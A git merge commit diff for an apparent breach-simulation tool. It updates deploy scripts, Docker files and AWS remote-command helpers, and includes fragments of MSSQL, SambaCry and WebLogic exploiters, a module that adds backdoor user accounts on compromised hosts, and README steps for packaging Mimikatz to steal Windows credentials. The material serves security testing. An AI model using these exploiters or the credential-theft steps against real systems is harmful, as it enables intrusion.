Merge branch 'develop'

This commit is contained in:
itay 2019-02-26 12:38:05 +02:00
commit 38381c4c9d
64 changed files with 4262 additions and 3310 deletions

View File

@ -121,7 +121,7 @@ openssl req -new -key cc/server.key -out cc/server.csr \
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
# Install npm # Install npm
@ -142,16 +142,16 @@ npm run dist
log_message "Installing monkey requirements" log_message "Installing monkey requirements"
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error cd ${monkey_home}/monkey/infection_monkey || handle_error
python -m pip install --user -r requirements.txt || handle_error python -m pip install --user -r requirements_linux.txt || handle_error
# Build samba # Build samba
log_message "Building samba binaries" log_message "Building samba binaries"
sudo apt-get install gcc-multilib sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
chmod +x ./build.sh || handle_error sudo chmod +x ./build.sh || handle_error
./build.sh ./build.sh
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
log_message "Deployment script finished." log_message "Deployment script finished."
exit 0 exit 0

View File

@ -39,7 +39,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
New-Item -ItemType directory -path $binDir New-Item -ItemType directory -path $binDir
"Bin directory added" "Bin directory added"
} }
# We check if python is installed # We check if python is installed
try try
{ {
@ -72,7 +72,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Downloading Visual C++ Compiler for Python 2.7 ..." "Downloading Visual C++ Compiler for Python 2.7 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER) $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
# Install requirements for island # Install requirements for island
@ -86,7 +86,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
} }
& python -m pip install --user -r $islandRequirements & python -m pip install --user -r $islandRequirements
# Install requirements for monkey # Install requirements for monkey
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
& python -m pip install --user -r $monkeyRequirements & python -m pip install --user -r $monkeyRequirements
# Download mongodb # Download mongodb

1
docker/.dockerignore Normal file
View File

@ -0,0 +1 @@
*.md

View File

@ -1,19 +1,24 @@
FROM debian:jessie-slim FROM debian:stretch-slim
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>" LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
ARG RELEASE=1.6
ARG DEBIAN_FRONTEND=noninteractive
EXPOSE 5000
WORKDIR /app WORKDIR /app
ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz . ADD https://github.com/guardicore/monkey/releases/download/${RELEASE}/infection_monkey_deb.${RELEASE}.tgz .
RUN tar xvf infection_monkey_1.5.2_deb.tgz \ RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \
&& apt-get -yqq update \ && apt-get -yqq update \
&& apt-get -yqq upgrade \ && apt-get -yqq upgrade \
&& apt-get -yqq install python-pip \ && apt-get -yqq install python-pip \
libssl-dev \ python-dev \
supervisor \ && dpkg -i *.deb \
&& dpkg -i *.deb && rm -f *.deb *.tgz
COPY stack.conf /etc/supervisor/conf.d/stack.conf WORKDIR /var/monkey
ENTRYPOINT ["/var/monkey/monkey_island/bin/python/bin/python"]
ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ] CMD ["/var/monkey/monkey_island.py"]

22
docker/docker-compose.yml Normal file
View File

@ -0,0 +1,22 @@
version: '3.3'
services:
db:
image: mongo:4
restart: always
volumes:
- db_data:/data/db
environment:
MONGO_INITDB_DATABASE: monkeyisland
monkey:
depends_on:
- db
build: .
image: monkey:latest
ports:
- "5000:5000"
environment:
MONGO_URL: mongodb://db:27017/monkeyisland
volumes:
db_data:

View File

@ -1,4 +0,0 @@
[program:mongod]
command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db
[program:monkey]
command=/var/monkey_island/ubuntu/systemd/start_server.sh

View File

@ -4,7 +4,7 @@ import urllib2
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
class AWS(object): class AwsInstance(object):
def __init__(self): def __init__(self):
try: try:
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()

View File

@ -0,0 +1,63 @@
import boto3
from botocore.exceptions import ClientError
__author__ = 'itay.mizeretz'
class AwsService(object):
"""
Supplies various AWS services
"""
access_key_id = None
secret_access_key = None
region = None
@staticmethod
def set_auth_params(access_key_id, secret_access_key):
AwsService.access_key_id = access_key_id
AwsService.secret_access_key = secret_access_key
@staticmethod
def set_region(region):
AwsService.region = region
@staticmethod
def get_client(client_type, region=None):
return boto3.client(
client_type,
aws_access_key_id=AwsService.access_key_id,
aws_secret_access_key=AwsService.secret_access_key,
region_name=region if region is not None else AwsService.region)
@staticmethod
def get_session():
return boto3.session.Session(
aws_access_key_id=AwsService.access_key_id,
aws_secret_access_key=AwsService.secret_access_key)
@staticmethod
def get_regions():
return AwsService.get_session().get_available_regions('ssm')
@staticmethod
def test_client():
try:
AwsService.get_client('ssm').describe_instance_information()
return True
except ClientError:
return False
@staticmethod
def get_instances():
return \
[
{
'instance_id': x['InstanceId'],
'name': x['ComputerName'],
'os': x['PlatformType'].lower(),
'ip_address': x['IPAddress']
}
for x in AwsService.get_client('ssm').describe_instance_information()['InstanceInformationList']
]

View File

View File

View File

@ -0,0 +1,26 @@
from common.cmd.cmd_result import CmdResult
__author__ = 'itay.mizeretz'
class AwsCmdResult(CmdResult):
"""
Class representing an AWS command result
"""
def __init__(self, command_info):
super(AwsCmdResult, self).__init__(
self.is_successful(command_info, True), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'],
command_info[u'StandardErrorContent'])
self.command_info = command_info
@staticmethod
def is_successful(command_info, is_timeout=False):
"""
Determines whether the command was successful. If it timed out and was still in progress, we assume it worked.
:param command_info: Command info struct (returned by ssm.get_command_invocation)
:param is_timeout: Whether the given command timed out
:return: True if successful, False otherwise.
"""
return (command_info[u'Status'] == u'Success') or (is_timeout and (command_info[u'Status'] == u'InProgress'))

View File

@ -0,0 +1,42 @@
import logging
from common.cloud.aws_service import AwsService
from common.cmd.aws.aws_cmd_result import AwsCmdResult
from common.cmd.cmd_runner import CmdRunner
from common.cmd.cmd_status import CmdStatus
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class AwsCmdRunner(CmdRunner):
"""
Class for running commands on a remote AWS machine
"""
def __init__(self, is_linux, instance_id, region = None):
super(AwsCmdRunner, self).__init__(is_linux)
self.instance_id = instance_id
self.region = region
self.ssm = AwsService.get_client('ssm', region)
def query_command(self, command_id):
return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id)
def get_command_result(self, command_info):
return AwsCmdResult(command_info)
def get_command_status(self, command_info):
if command_info[u'Status'] == u'InProgress':
return CmdStatus.IN_PROGRESS
elif command_info[u'Status'] == u'Success':
return CmdStatus.SUCCESS
else:
return CmdStatus.FAILURE
def run_command_async(self, command_line):
doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript"
command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command_line]},
InstanceIds=[self.instance_id])
return command_res['Command']['CommandId']

11
monkey/common/cmd/cmd.py Normal file
View File

@ -0,0 +1,11 @@
__author__ = 'itay.mizeretz'
class Cmd(object):
"""
Class representing a command
"""
def __init__(self, cmd_runner, cmd_id):
self.cmd_runner = cmd_runner
self.cmd_id = cmd_id

View File

@ -0,0 +1,13 @@
__author__ = 'itay.mizeretz'
class CmdResult(object):
"""
Class representing a command result
"""
def __init__(self, is_success, status_code=None, stdout=None, stderr=None):
self.is_success = is_success
self.status_code = status_code
self.stdout = stdout
self.stderr = stderr

View File

@ -0,0 +1,158 @@
import time
import logging
from abc import abstractmethod
from common.cmd.cmd import Cmd
from common.cmd.cmd_result import CmdResult
from common.cmd.cmd_status import CmdStatus
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class CmdRunner(object):
"""
Interface for running commands on a remote machine
Since these classes are a bit complex, I provide a list of common terminology and formats:
* command line - a command line. e.g. 'echo hello'
* command - represent a single command which was already run. Always of type Cmd
* command id - any unique identifier of a command which was already run
* command result - represents the result of running a command. Always of type CmdResult
* command status - represents the current status of a command. Always of type CmdStatus
* command info - Any consistent structure representing additional information of a command which was already run
* instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field
* instance_id - any unique identifier of an instance (machine). Can be of any format
"""
# Default command timeout in seconds
DEFAULT_TIMEOUT = 5
# Time to sleep when waiting on commands.
WAIT_SLEEP_TIME = 1
def __init__(self, is_linux):
self.is_linux = is_linux
def run_command(self, command_line, timeout=DEFAULT_TIMEOUT):
"""
Runs the given command on the remote machine
:param command_line: The command line to run
:param timeout: Timeout in seconds for command.
:return: Command result
"""
c_id = self.run_command_async(command_line)
return self.wait_commands([Cmd(self, c_id)], timeout)[1]
@staticmethod
def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res):
"""
Run multiple commands on various instances
:param instances: List of instances.
:param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd
:param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult
and returns a parsed result (of any format)
:return: Dictionary with 'instance_id' as key and parsed result as value
"""
command_instance_dict = {}
for instance in instances:
command = inst_to_cmd(instance)
command_instance_dict[command] = instance
instance_results = {}
command_result_pairs = CmdRunner.wait_commands(command_instance_dict.keys())
for command, result in command_result_pairs:
instance = command_instance_dict[command]
instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result)
return instance_results
@abstractmethod
def run_command_async(self, command_line):
"""
Runs the given command on the remote machine asynchronously.
:param command_line: The command line to run
:return: Command ID (in any format)
"""
raise NotImplementedError()
@staticmethod
def wait_commands(commands, timeout=DEFAULT_TIMEOUT):
"""
Waits on all commands up to given timeout
:param commands: list of commands (of type Cmd)
:param timeout: Timeout in seconds for command.
:return: commands and their results (tuple of Command and CmdResult)
"""
init_time = time.time()
curr_time = init_time
results = []
while (curr_time - init_time < timeout) and (len(commands) != 0):
for command in list(commands): # list(commands) clones the list. We do so because we remove items inside
CmdRunner._process_command(command, commands, results, True)
time.sleep(CmdRunner.WAIT_SLEEP_TIME)
curr_time = time.time()
for command in list(commands):
CmdRunner._process_command(command, commands, results, False)
for command, result in results:
if not result.is_success:
logger.error('The following command failed: `%s`. status code: %s',
str(command[1]), str(result.status_code))
return results
@abstractmethod
def query_command(self, command_id):
"""
Queries the already run command for more info
:param command_id: The command ID to query
:return: Command info (in any format)
"""
raise NotImplementedError()
@abstractmethod
def get_command_result(self, command_info):
"""
Gets the result of the already run command
:param command_info: The command info of the command to get the result of
:return: CmdResult
"""
raise NotImplementedError()
@abstractmethod
def get_command_status(self, command_info):
"""
Gets the status of the already run command
:param command_info: The command info of the command to get the result of
:return: CmdStatus
"""
raise NotImplementedError()
@staticmethod
def _process_command(command, commands, results, should_process_only_finished):
"""
Removes the command from the list, processes its result and appends to results
:param command: Command to process. Must be in commands.
:param commands: List of unprocessed commands.
:param results: List of command results.
:param should_process_only_finished: If True, processes only if command finished.
:return: None
"""
c_runner = command.cmd_runner
c_id = command.cmd_id
try:
command_info = c_runner.query_command(c_id)
if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS:
commands.remove(command)
results.append((command, c_runner.get_command_result(command_info)))
except Exception:
logger.exception('Exception while querying command: `%s`', str(c_id))
if not should_process_only_finished:
commands.remove(command)
results.append((command, CmdResult(False)))

View File

@ -0,0 +1,9 @@
from enum import Enum
__author__ = 'itay.mizeretz'
class CmdStatus(Enum):
IN_PROGRESS = 0
SUCCESS = 1
FAILURE = 2

View File

@ -41,8 +41,7 @@
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter", "HadoopExploiter"
"MSSQLExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -17,13 +17,14 @@ class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
LOGIN_TIMEOUT = 15 LOGIN_TIMEOUT = 15
SQL_DEFAULT_TCP_PORT = '1433' SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat'
def __init__(self, host): def __init__(self, host):
super(MSSQLExploiter, self).__init__(host) super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack] self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): def create_payload_file(self, payload_path):
""" """
This function creates dynamically the payload file to be transported and ran on the exploited machine. This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in :param payload_path: A path to the create the payload file in
@ -45,10 +46,13 @@ class MSSQLExploiter(HostExploiter):
""" """
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
if not self.create_payload_file(): payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
if not self.create_payload_file(payload_path):
return False return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
self.DEFAULT_PAYLOAD_PATH): payload_path):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True return True
else: else:

View File

@ -7,6 +7,7 @@ from io import BytesIO
from os import path from os import path
import impacket.smbconnection import impacket.smbconnection
from impacket.nmb import NetBIOSError
from impacket.nt_errors import STATUS_SUCCESS from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
@ -172,7 +173,7 @@ class SambaCryExploiter(HostExploiter):
if self.is_share_writable(smb_client, share): if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials writable_shares_creds_dict[share] = credentials
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError, NetBIOSError):
# If failed using some credentials, try others. # If failed using some credentials, try others.
pass pass

View File

@ -23,7 +23,7 @@ SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds # How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001 REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds # How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 2 REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds # How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15 EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType", URLS = ["/wls-wsat/CoordinatorPortType",

View File

@ -69,7 +69,6 @@ def process_datas(orig_datas):
def get_binaries(): def get_binaries():
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries() binaries += get_sc_binaries()
binaries += get_traceroute_binaries()
return binaries return binaries
@ -81,6 +80,7 @@ def get_windows_only_binaries():
def get_linux_only_binaries(): def get_linux_only_binaries():
binaries = [] binaries = []
binaries += get_traceroute_binaries()
return binaries return binaries

View File

@ -23,14 +23,17 @@ class BackdoorUser(object):
def act(self): def act(self):
LOG.info("Adding a user") LOG.info("Adding a user")
if sys.platform.startswith("win"): try:
retval = self.add_user_windows() if sys.platform.startswith("win"):
else: retval = self.add_user_windows()
retval = self.add_user_linux() else:
if retval != 0: retval = self.add_user_linux()
LOG.warn("Failed to add a user") if retval != 0:
else: LOG.warn("Failed to add a user")
LOG.info("Done adding user") else:
LOG.info("Done adding user")
except OSError:
LOG.exception("Exception while adding a user")
@staticmethod @staticmethod
def add_user_linux(): def add_user_linux():

View File

@ -5,36 +5,30 @@ The monkey is composed of three separate parts.
* The Infection Monkey itself - PyInstaller compressed python archives * The Infection Monkey itself - PyInstaller compressed python archives
* Sambacry binaries - Two linux binaries, 32/64 bit. * Sambacry binaries - Two linux binaries, 32/64 bit.
* Mimikatz binaries - Two windows binaries, 32/64 bit. * Mimikatz binaries - Two windows binaries, 32/64 bit.
* Traceroute binaries - Two linux binaries, 32/64bit.
--- Windows --- --- Windows ---
1. Install python 2.7. Preferably you should use ActiveState Python which includes pywin32 built in. 1. Install python 2.7.15
You must use an up to date version, at least version 2.7.10 Download and install from: https://www.python.org/downloads/release/python-2715/
https://www.python.org/download/releases/2.7/ 2. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
2. Install pywin32 (if you didn't install ActiveState Python)
Install pywin32, minimum build 219
http://sourceforge.net/projects/pywin32/files/pywin32
3. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different) a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different)
setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts
b. Close the console, make sure you execute all commands in a new cmd console from now on. b. Close the console, make sure you execute all commands in a new cmd console from now on.
4. Install pip 3. Install further dependencies
a. Download and run the pip installer
https://bootstrap.pypa.io/get-pip.py
5. Install further dependencies
a. install VCForPython27.msi a. install VCForPython27.msi
https://aka.ms/vcpython27 https://aka.ms/vcpython27
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328 32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523 64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
6. Download the dependent python packages using 4. Download the dependent python packages using
pip install -r requirements.txt pip install -r requirements_windows.txt
7. Download and extract UPX binary to [source-path]\monkey\infection_monkey\bin\upx.exe: 5. Download and extract UPX binary to [source-path]\monkey\infection_monkey\bin\upx.exe:
https://github.com/upx/upx/releases/download/v3.94/upx394w.zip https://github.com/upx/upx/releases/download/v3.94/upx394w.zip
8. Build/Download Sambacry and Mimikatz binaries 6. Build/Download Sambacry and Mimikatz binaries
a. Build/Download according to sections at the end of this readme. a. Build/Download according to sections at the end of this readme.
b. Place the binaries under [code location]\infection_monkey\bin b. Place the binaries under [code location]\infection_monkey\bin
9. To build the final exe: 7. To build the final exe:
cd [code location]/infection_monkey cd [code location]/infection_monkey
build_windows.bat build_windows.bat
output is placed under dist\monkey.exe output is placed under dist\monkey.exe
@ -48,11 +42,14 @@ Tested on Ubuntu 16.04 and 17.04.
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
Install the python packages listed in requirements.txt using pip Install the python packages listed in requirements.txt using pip
cd [code location]/infection_monkey cd [code location]/infection_monkey
pip install -r requirements.txt pip install -r requirements_linux.txt
2. Build Sambacry binaries 2. Build Sambacry binaries
a. Build/Download according to sections at the end of this readme. a. Build/Download according to sections at the end of this readme.
b. Place the binaries under [code location]\infection_monkey\bin b. Place the binaries under [code location]\infection_monkey\bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so'
3. To build, run in terminal: 3. Build Traceroute binaries
a. Build/Download according to sections at the end of this readme.
b. Place the binaries under [code location]\infection_monkey\bin, under the names 'traceroute32', 'traceroute64'
4. To build, run in terminal:
cd [code location]/infection_monkey cd [code location]/infection_monkey
chmod +x build_linux.sh chmod +x build_linux.sh
./build_linux.sh ./build_linux.sh
@ -61,19 +58,45 @@ Tested on Ubuntu 16.04 and 17.04.
-- Sambacry -- -- Sambacry --
Sambacry requires two standalone binaries to execute remotely. Sambacry requires two standalone binaries to execute remotely.
1. Install gcc-multilib if it's not installed a. Build sambacry binaries yourself
sudo apt-get install gcc-multilib a.1. Install gcc-multilib if it's not installed
2. Build the binaries sudo apt-get install gcc-multilib
cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner a.2. Build the binaries
./build.sh cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
./build.sh
b. Download our pre-built sambacry binaries
b.1. Available here:
32bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so
64bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so
-- Mimikatz -- -- Mimikatz --
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
https://github.com/guardicore/mimikatz/releases/tag/1.0.0 You can either build them yourself or download pre-built binaries.
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin a. Build Mimikatz yourself
Alternatively, if you build Mimikatz, put each version in a zip file. a.0. Building mimikatz requires Visual Studio 2013 and up
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. a.2. Build using Visual Studio.
3. The zip file should be named mk32.zip/mk64.zip accordingly. a.3. Put each version in a zip file
4. Zipping with 7zip has been tested. Other zipping software may not work. a.3.1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
a.3.2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
b. Download our pre-built traceroute binaries
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
b.2. Place them under [code location]\infection_monkey\bin
-- Traceroute --
Traceroute requires two standalone binaries to execute remotely.
The monkey carries the standalone binaries since traceroute isn't built in all Linux distributions.
You can either build them yourself or download pre-built binaries.
a. Build traceroute yourself
a.1. The sources of traceroute are available here with building instructions: http://traceroute.sourceforge.net
b. Download our pre-built traceroute binaries
b.1. Available here:
32bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute32
64bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute64

View File

@ -0,0 +1,19 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
rdpy
requests
odict
paramiko
psutil==3.4.2
PyInstaller
six
ecdsa
netifaces
ipaddress
wmi
pymssql
pyftpdlib

View File

@ -1,6 +1,6 @@
enum34 enum34
impacket impacket
PyCrypto pycryptodome
pyasn1 pyasn1
cffi cffi
twisted twisted

View File

@ -1,6 +1,6 @@
import logging import logging
from common.cloud.aws import AWS from common.cloud.aws_instance import AwsInstance
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -15,7 +15,7 @@ class AwsCollector(object):
@staticmethod @staticmethod
def get_aws_info(): def get_aws_info():
LOG.info("Collecting AWS info") LOG.info("Collecting AWS info")
aws = AWS() aws = AwsInstance()
info = {} info = {}
if aws.is_aws_instance(): if aws.is_aws_instance():
LOG.info("Machine is an AWS instance") LOG.info("Machine is an AWS instance")

View File

@ -22,6 +22,7 @@ from cc.resources.island_configuration import IslandConfiguration
from cc.resources.monkey_download import MonkeyDownload from cc.resources.monkey_download import MonkeyDownload
from cc.resources.netmap import NetMap from cc.resources.netmap import NetMap
from cc.resources.node import Node from cc.resources.node import Node
from cc.resources.remote_run import RemoteRun
from cc.resources.report import Report from cc.resources.report import Report
from cc.resources.root import Root from cc.resources.root import Root
from cc.resources.telemetry import Telemetry from cc.resources.telemetry import Telemetry
@ -115,5 +116,6 @@ def init_app(mongo_url):
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
return app return app

View File

@ -33,20 +33,18 @@ def init_jwt(app):
user_id = payload['identity'] user_id = payload['identity']
return userid_table.get(user_id, None) return userid_table.get(user_id, None)
if env.is_auth_enabled(): JWT(app, authenticate, identity)
JWT(app, authenticate, identity)
def jwt_required(realm=None): def jwt_required(realm=None):
def wrapper(fn): def wrapper(fn):
@wraps(fn) @wraps(fn)
def decorator(*args, **kwargs): def decorator(*args, **kwargs):
if env.is_auth_enabled(): try:
try: _jwt_required(realm or current_app.config['JWT_DEFAULT_REALM'])
_jwt_required(realm or current_app.config['JWT_DEFAULT_REALM']) return fn(*args, **kwargs)
except JWTError: except JWTError:
abort(401) abort(401)
return fn(*args, **kwargs)
return decorator return decorator

View File

@ -39,7 +39,7 @@ class Encryptor:
def enc(self, message): def enc(self, message):
cipher_iv = Random.new().read(AES.block_size) cipher_iv = Random.new().read(AES.block_size)
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message))) return base64.b64encode(cipher_iv + cipher.encrypt(str(self._pad(message)))) # ciper.encrypt expects str
def dec(self, enc_message): def dec(self, enc_message):
enc_message = base64.b64decode(enc_message) enc_message = base64.b64decode(enc_message)

View File

@ -1,6 +1,7 @@
import abc import abc
from datetime import timedelta from datetime import timedelta
import os import os
from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -13,6 +14,12 @@ class Environment(object):
_DEBUG_SERVER = False _DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1) _AUTH_EXPIRATION_TIME = timedelta(hours=1)
def __init__(self):
self.config = None
def set_config(self, config):
self.config = config
def get_island_port(self): def get_island_port(self):
return self._ISLAND_PORT return self._ISLAND_PORT
@ -25,9 +32,10 @@ class Environment(object):
def get_auth_expiration_time(self): def get_auth_expiration_time(self):
return self._AUTH_EXPIRATION_TIME return self._AUTH_EXPIRATION_TIME
@abc.abstractmethod def hash_secret(self, secret):
def is_auth_enabled(self): h = SHA3_512.new()
return h.update(secret)
return h.hexdigest()
@abc.abstractmethod @abc.abstractmethod
def get_auth_users(self): def get_auth_users(self):

View File

@ -1,6 +1,7 @@
import cc.auth import cc.auth
from cc.environment import Environment from cc.environment import Environment
from common.cloud.aws import AWS from common.cloud.aws_instance import AwsInstance
from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -8,7 +9,7 @@ __author__ = 'itay.mizeretz'
class AwsEnvironment(Environment): class AwsEnvironment(Environment):
def __init__(self): def __init__(self):
super(AwsEnvironment, self).__init__() super(AwsEnvironment, self).__init__()
self.aws_info = AWS() self.aws_info = AwsInstance()
self._instance_id = self._get_instance_id() self._instance_id = self._get_instance_id()
self.region = self._get_region() self.region = self._get_region()
@ -18,10 +19,7 @@ class AwsEnvironment(Environment):
def _get_region(self): def _get_region(self):
